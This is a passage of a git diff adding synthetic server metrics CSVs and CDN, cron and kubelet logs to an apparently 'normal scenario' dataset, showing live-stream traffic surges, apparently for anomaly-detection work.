+2025-08-20T21:03:35Z,28.24,44.99,31.1,1.05,165.99,45701 +2025-08-20T21:03:40Z,34.77,42.15,34.37,1.58,163.32,43428 +2025-08-20T21:03:45Z,39.58,45.57,24.49,2.09,150.23,46166 +2025-08-20T21:03:50Z,41.61,42.78,21.42,1.53,141.3,44392 +2025-08-20T21:03:55Z,34.33,49.07,31.74,1.38,149.94,45065 +2025-08-20T21:04:00Z,34.45,46.21,23.14,1.41,162.1,43371 +2025-08-20T21:04:05Z,44.13,47.6,32.54,1.59,140.58,46399 +2025-08-20T21:04:10Z,31.08,49.45,32.04,1.8,141.11,46519 +2025-08-20T21:04:15Z,34.38,44.72,27.13,1.36,151.96,43634 +2025-08-20T21:04:20Z,39.81,45.1,22.31,1.35,162.46,43066 +2025-08-20T21:04:25Z,38.85,45.16,23.14,2.07,165.78,43733 +2025-08-20T21:04:30Z,39.72,44.87,29.14,2.06,147.62,46327 +2025-08-20T21:04:35Z,38.68,45.52,28.64,1.1,145.34,46357 +2025-08-20T21:04:40Z,33.65,42.67,33.29,1.28,134.74,45969 +2025-08-20T21:04:45Z,41.37,46.24,27.04,1.26,135.76,45117 +2025-08-20T21:04:50Z,46.12,43.74,27.71,1.26,164.36,45561 +2025-08-20T21:04:55Z,38.66,47.99,30.14,1.46,159.19,44094 +2025-08-20T21:05:00Z,32.73,42.62,32.98,1.55,178.62,46831 +2025-08-20T21:05:05Z,42.75,48.48,32.2,1.26,159.36,43432 +2025-08-20T21:05:10Z,47.08,45.94,33.89,2.05,156.18,46537 +2025-08-20T21:05:15Z,44.89,48.26,36.1,1.33,170.93,44475 +2025-08-20T21:05:20Z,35.6,44.24,25.28,1.39,140.17,45839 +2025-08-20T21:05:25Z,32.66,49.98,25.0,1.74,141.92,43103 +2025-08-20T21:05:30Z,34.98,47.38,27.64,1.23,163.74,44555 +2025-08-20T21:05:35Z,34.55,44.87,19.85,1.86,148.12,45732 +2025-08-20T21:05:40Z,41.78,47.71,32.32,2.24,143.41,45882 +2025-08-20T21:05:45Z,49.35,49.9,28.72,1.66,151.68,46729 +2025-08-20T21:05:50Z,34.18,45.29,34.12,1.4,157.53,45980 +2025-08-20T21:05:55Z,35.01,45.52,32.18,1.95,137.36,46848 +2025-08-20T21:06:00Z,40.88,49.34,22.74,1.72,127.77,43756 +2025-08-20T21:06:05Z,41.17,49.45,35.37,1.59,166.18,43162 +2025-08-20T21:06:10Z,43.6,45.96,35.4,1.25,129.22,45950 +2025-08-20T21:06:15Z,40.19,48.41,33.11,1.43,149.69,45861 +2025-08-20T21:06:20Z,40.78,46.41,32.35,2.06,149.42,46372 +2025-08-20T21:06:25Z,35.94,51.86,30.69,1.71,161.07,44444 +2025-08-20T21:06:30Z,37.25,50.04,41.23,0.81,129.07,45241 +2025-08-20T21:06:35Z,52.45,47.59,27.95,1.91,141.4,45989 +2025-08-20T21:06:40Z,51.0,49.21,33.65,1.67,150.49,44509 +2025-08-20T21:06:45Z,34.59,51.1,39.38,1.43,145.39,44556 +2025-08-20T21:06:50Z,38.25,49.37,29.2,1.34,152.4,46660 +2025-08-20T21:06:55Z,42.2,54.9,30.35,1.57,129.57,45663 +2025-08-20T21:07:00Z,43.37,47.24,31.39,2.44,148.01,46462 +2025-08-20T21:07:05Z,35.2,46.09,29.41,1.03,162.73,43510 +2025-08-20T21:07:10Z,37.36,50.64,22.65,1.97,152.15,45786 +2025-08-20T21:07:15Z,37.8,46.41,26.67,0.95,158.75,46714 +2025-08-20T21:07:20Z,40.23,50.51,25.1,1.68,150.97,45618 +2025-08-20T21:07:25Z,45.2,48.99,25.82,1.35,165.34,43302 diff --git a/norm_dataset/scenario_7/norm_7_12.log b/norm_dataset/scenario_7/norm_7_12.log new file mode 100644 index 0000000000000000000000000000000000000000..99f07b2c3b519e74797223edc78eebcfdc75fb9f --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_12.log @@ -0,0 +1,72 @@ +Aug 20 21:00:00 systemd[1]: Starting daily clean up activities... +Aug 20 21:00:05 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:10 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:15 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:20 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:25 CRON[5005]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:00:30 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:35 systemd[1]: Starting daily clean up activities... +Aug 20 21:00:40 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:45 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:00:50 CRON[5010]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:00:55 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:00 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:05 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:10 systemd[1]: Starting daily clean up activities... +Aug 20 21:01:15 CRON[5015]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:01:20 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:25 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:30 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:35 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:40 CRON[5020]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:01:45 systemd[1]: Starting daily clean up activities... +Aug 20 21:01:50 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:01:55 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:00 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:05 CRON[5025]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:02:10 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:15 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:20 systemd[1]: Starting daily clean up activities... +Aug 20 21:02:25 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:30 CRON[5030]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 21:02:35 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:40 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:45 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:50 web-app[1520]: GET /api/v1/status status=200 OK +Aug 20 21:02:55 web-app[1520]: INFO: Live stream 'product-launch-2025' has started. +Aug 20 21:02:55 cdn-access: 198.51.100.5 - - [20/Aug/2025:21:02:55 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:02:55 cdn-access: 198.51.100.12 - - [20/Aug/2025:21:02:55 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:02:55 cdn-access: 198.51.100.16 - - [20/Aug/2025:21:02:55 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:02:55 cdn-access: 198.51.100.20 - - [20/Aug/2025:21:02:55 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:02:55 cdn-access: 198.51.100.3 - - [20/Aug/2025:21:02:55 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:02:55 web-app[1520]: INFO: Current viewers: 50000. +Aug 20 21:03:00 cdn-access: 198.51.100.13 - - [20/Aug/2025:21:03:00 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:03:10 cdn-access: 198.51.100.11 - - [20/Aug/2025:21:03:10 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:03:20 cdn-access: 198.51.100.17 - - [20/Aug/2025:21:03:20 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:03:30 cdn-access: 198.51.100.14 - - [20/Aug/2025:21:03:30 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:03:40 cdn-access: 198.51.100.9 - - [20/Aug/2025:21:03:40 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 20 21:03:50 cdn-access: 198.51.100.4 - - [20/Aug/2025:21:03:50 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:04:00 cdn-access: 198.51.100.2 - - [20/Aug/2025:21:04:00 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:04:10 cdn-access: 198.51.100.19 - - [20/Aug/2025:21:04:10 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:04:20 cdn-access: 198.51.100.14 - - [20/Aug/2025:21:04:20 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:04:30 cdn-access: 198.51.100.12 - - [20/Aug/2025:21:04:30 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:04:40 cdn-access: 198.51.100.11 - - [20/Aug/2025:21:04:40 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:04:50 cdn-access: 198.51.100.11 - - [20/Aug/2025:21:04:50 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:05:00 cdn-access: 198.51.100.5 - - [20/Aug/2025:21:05:00 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 20 21:05:10 cdn-access: 198.51.100.5 - - [20/Aug/2025:21:05:10 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:05:20 cdn-access: 198.51.100.4 - - [20/Aug/2025:21:05:20 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:05:30 cdn-access: 198.51.100.18 - - [20/Aug/2025:21:05:30 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:05:40 cdn-access: 198.51.100.19 - - [20/Aug/2025:21:05:40 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:05:50 cdn-access: 198.51.100.1 - - [20/Aug/2025:21:05:50 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:06:00 cdn-access: 198.51.100.11 - - [20/Aug/2025:21:06:00 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:06:10 cdn-access: 198.51.100.13 - - [20/Aug/2025:21:06:10 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" +Aug 20 21:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 20 21:06:20 cdn-access: 198.51.100.3 - - [20/Aug/2025:21:06:20 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:06:30 cdn-access: 198.51.100.2 - - [20/Aug/2025:21:06:30 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:06:40 cdn-access: 198.51.100.16 - - [20/Aug/2025:21:06:40 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:06:50 cdn-access: 198.51.100.6 - - [20/Aug/2025:21:06:50 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:07:00 cdn-access: 198.51.100.9 - - [20/Aug/2025:21:07:00 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 20 21:07:10 cdn-access: 198.51.100.20 - - [20/Aug/2025:21:07:10 ] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36" +Aug 20 21:07:20 cdn-access: 198.51.100.10 - - [20/Aug/2025:21:07:20 ] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_7/norm_7_13.csv b/norm_dataset/scenario_7/norm_7_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..f16c06ca6c1a7d7532aadc3b38d9ccc42dd2eee6 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,tcp_connections +2025-07-03T10:00:00Z,18.07,41.46,10.47,1.56,6.55,500 +2025-07-03T10:00:05Z,19.55,39.59,11.17,1.93,4.8,527 +2025-07-03T10:00:10Z,13.18,41.86,11.07,1.62,5.08,536 +2025-07-03T10:00:15Z,15.3,37.98,10.92,1.21,5.74,460 +2025-07-03T10:00:20Z,12.3,39.89,11.17,1.77,5.36,569 +2025-07-03T10:00:25Z,12.64,38.54,9.85,1.13,3.15,430 +2025-07-03T10:00:30Z,17.07,37.55,10.1,1.51,3.97,454 +2025-07-03T10:00:35Z,19.11,40.32,11.89,1.6,5.51,440 +2025-07-03T10:00:40Z,16.41,41.23,10.84,1.09,4.91,494 +2025-07-03T10:00:45Z,11.11,42.85,10.35,1.27,3.4,557 +2025-07-03T10:00:50Z,16.74,39.92,8.0,1.01,6.09,494 +2025-07-03T10:00:55Z,19.27,42.8,11.94,1.8,6.33,446 +2025-07-03T10:01:00Z,13.98,42.96,11.09,1.25,4.38,531 +2025-07-03T10:01:05Z,17.43,40.89,10.54,1.98,5.84,598 +2025-07-03T10:01:10Z,10.95,40.99,10.98,1.11,5.0,574 +2025-07-03T10:01:15Z,16.72,39.29,8.88,1.21,3.35,407 +2025-07-03T10:01:20Z,12.38,37.74,10.63,1.66,4.2,584 +2025-07-03T10:01:25Z,17.72,37.41,11.87,1.49,3.31,472 +2025-07-03T10:01:30Z,16.51,39.52,8.8,1.05,5.36,447 +2025-07-03T10:01:35Z,15.44,41.79,8.76,1.18,3.4,443 +2025-07-03T10:01:40Z,15.78,38.39,10.76,1.83,3.86,478 +2025-07-03T10:01:45Z,10.22,37.01,11.12,1.47,5.2,569 +2025-07-03T10:01:50Z,10.51,40.02,10.02,1.5,4.05,461 +2025-07-03T10:01:55Z,10.27,41.3,11.85,1.57,3.79,593 +2025-07-03T10:02:00Z,10.32,42.73,9.79,1.1,6.49,455 +2025-07-03T10:02:05Z,15.26,37.22,10.67,1.57,4.5,500 +2025-07-03T10:02:10Z,14.42,38.86,8.58,1.01,3.62,553 +2025-07-03T10:02:15Z,15.62,42.59,11.87,1.82,3.59,439 +2025-07-03T10:02:20Z,10.44,42.83,10.06,1.85,4.75,436 +2025-07-03T10:02:25Z,15.26,38.5,10.05,1.59,4.99,510 +2025-07-03T10:02:30Z,84.76,50.09,13.21,25.98,488.96,49491 +2025-07-03T10:02:35Z,74.96,49.71,13.82,24.87,388.07,39900 +2025-07-03T10:02:40Z,60.83,48.08,14.84,16.71,303.64,29382 +2025-07-03T10:02:45Z,45.89,48.45,13.97,19.31,201.51,19375 +2025-07-03T10:02:50Z,25.54,52.89,16.54,23.97,106.13,11140 +2025-07-03T10:02:55Z,53.47,52.96,12.18,19.32,445.18,48752 +2025-07-03T10:03:00Z,55.75,51.22,12.5,16.11,424.84,46458 +2025-07-03T10:03:05Z,59.1,56.63,11.94,18.83,445.37,48009 +2025-07-03T10:03:10Z,59.65,54.79,12.85,16.04,474.37,48947 +2025-07-03T10:03:15Z,57.45,51.13,12.91,18.14,442.05,49598 +2025-07-03T10:03:20Z,62.52,51.97,11.04,15.72,445.06,49732 +2025-07-03T10:03:25Z,63.34,58.27,12.7,21.0,432.67,48064 +2025-07-03T10:03:30Z,53.32,57.53,12.47,21.99,478.57,47762 +2025-07-03T10:03:35Z,66.68,52.68,12.55,20.56,442.29,48408 +2025-07-03T10:03:40Z,61.98,52.44,12.03,19.26,432.95,46099 +2025-07-03T10:03:45Z,55.32,58.32,12.5,22.96,476.72,48517 +2025-07-03T10:03:50Z,65.43,55.03,11.22,15.7,478.88,47370 +2025-07-03T10:03:55Z,57.78,54.08,12.2,19.43,446.92,48288 +2025-07-03T10:04:00Z,54.84,52.75,11.18,21.44,420.69,46586 +2025-07-03T10:04:05Z,54.0,52.0,12.96,21.82,447.2,46858 +2025-07-03T10:04:10Z,54.56,51.2,11.37,22.01,438.34,47098 +2025-07-03T10:04:15Z,62.39,57.49,12.68,20.25,456.49,46970 +2025-07-03T10:04:20Z,54.69,51.37,11.06,16.25,433.69,49888 +2025-07-03T10:04:25Z,61.35,53.9,11.72,15.69,442.9,46842 +2025-07-03T10:04:30Z,66.72,51.65,12.18,19.16,420.33,47189 +2025-07-03T10:04:35Z,61.07,54.52,12.06,19.22,421.49,49263 +2025-07-03T10:04:40Z,58.44,58.73,12.61,22.35,434.11,48677 +2025-07-03T10:04:45Z,66.51,52.55,12.48,19.15,441.58,48596 +2025-07-03T10:04:50Z,66.58,51.59,11.4,16.67,466.07,49164 +2025-07-03T10:04:55Z,61.71,58.19,12.26,18.27,477.72,49616 +2025-07-03T10:05:00Z,63.43,51.08,12.93,16.25,421.42,47875 +2025-07-03T10:05:05Z,53.93,59.0,11.88,15.83,475.96,46236 +2025-07-03T10:05:10Z,59.84,58.91,12.23,16.01,466.27,46832 +2025-07-03T10:05:15Z,58.14,51.51,12.32,18.87,470.7,47820 +2025-07-03T10:05:20Z,63.59,52.4,12.03,19.68,442.53,47518 +2025-07-03T10:05:25Z,64.32,56.58,11.6,18.87,450.66,48436 +2025-07-03T10:05:30Z,63.43,57.81,12.25,20.87,460.16,49443 +2025-07-03T10:05:35Z,61.25,53.65,12.91,17.93,429.73,46934 +2025-07-03T10:05:40Z,62.81,52.7,11.2,22.9,427.79,49215 +2025-07-03T10:05:45Z,62.34,55.37,11.79,19.1,467.27,49885 +2025-07-03T10:05:50Z,57.97,55.52,11.73,19.56,430.67,48618 +2025-07-03T10:05:55Z,61.07,55.27,12.33,22.98,427.29,49691 +2025-07-03T10:06:00Z,59.52,53.84,12.63,18.67,426.68,49883 +2025-07-03T10:06:05Z,55.49,52.14,12.8,21.53,436.62,47480 +2025-07-03T10:06:10Z,65.11,55.11,12.55,20.67,474.49,46846 +2025-07-03T10:06:15Z,59.92,55.78,12.1,19.62,455.91,48636 +2025-07-03T10:06:20Z,64.64,53.01,12.41,19.24,428.92,49671 +2025-07-03T10:06:25Z,61.02,56.24,12.32,20.89,426.8,49818 +2025-07-03T10:06:30Z,66.01,58.89,11.23,21.43,464.74,46275 +2025-07-03T10:06:35Z,53.6,53.76,12.52,21.62,451.68,48653 +2025-07-03T10:06:40Z,60.79,56.49,11.59,22.55,462.28,46112 +2025-07-03T10:06:45Z,53.64,56.28,11.42,19.44,436.85,49673 +2025-07-03T10:06:50Z,53.43,58.07,11.26,21.88,430.9,47117 +2025-07-03T10:06:55Z,58.51,52.55,12.9,21.54,478.27,46606 +2025-07-03T10:07:00Z,55.64,53.57,11.65,17.29,470.3,49088 +2025-07-03T10:07:05Z,60.96,56.05,11.04,17.9,429.84,46857 +2025-07-03T10:07:10Z,59.0,58.81,11.28,15.79,451.31,49708 +2025-07-03T10:07:15Z,60.77,52.61,12.65,16.78,436.18,48186 +2025-07-03T10:07:20Z,61.01,58.95,11.31,19.9,475.52,47902 +2025-07-03T10:07:25Z,59.94,53.49,12.91,17.26,424.35,46585 diff --git a/norm_dataset/scenario_7/norm_7_13.log b/norm_dataset/scenario_7/norm_7_13.log new file mode 100644 index 0000000000000000000000000000000000000000..605abd299c49545c02961ee7f142c9fb02e97a6c --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_13.log @@ -0,0 +1,1505 @@ +Jul 03 10:00:00 cdn-access[4567]: 192.168.145.78 - - [03/Jul/2025:10:00:00 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:00:00 systemd[1]: Starting daily health check... +Jul 03 10:00:30 cdn-access[4567]: 192.168.170.35 - - [03/Jul/2025:10:00:30 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:00:40 cdn-access[4567]: 192.168.15.170 - - [03/Jul/2025:10:00:40 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:01:05 cdn-access[4567]: 192.168.46.138 - - [03/Jul/2025:10:01:05 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:01:15 cdn-access[4567]: 192.168.74.35 - - [03/Jul/2025:10:01:15 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:01:15 systemd[1]: Starting daily health check... +Jul 03 10:01:35 cdn-access[4567]: 192.168.164.191 - - [03/Jul/2025:10:01:35 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:01:45 cdn-access[4567]: 192.168.62.84 - - [03/Jul/2025:10:01:45 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:02:05 cdn-access[4567]: 192.168.57.12 - - [03/Jul/2025:10:02:05 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 10:02:15 cdn-access[4567]: 192.168.81.76 - - [03/Jul/2025:10:02:15 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:02:25 cdn-access[4567]: 192.168.142.104 - - [03/Jul/2025:10:02:25 +0000] "GET /api/v1/status HTTP/1.1" 200 12 +Jul 03 10:02:30 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.10.44 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.125.64 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.128.181 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.129.27 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk2.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.164.191 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.18.98 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.211.54 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.22.105 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.221.203 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.221.203 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.223.14 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.23.170 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.23.170 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.24.146 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk1.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.24.146 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.24.65 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk3.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.46.138 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk3.ts HTTP/1.1" 206 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.55.178 - - [03/Jul/2025:10:02:30 +0000] "GET /live/chunk2.ts HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.62.84 - - [03/Jul/2025:10:02:30 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 3456 +Jul 03 10:02:30 cdn-access[4567]: 192.168.81.76 - - [03/Jul/2025:10:02:30 +0000] "GET 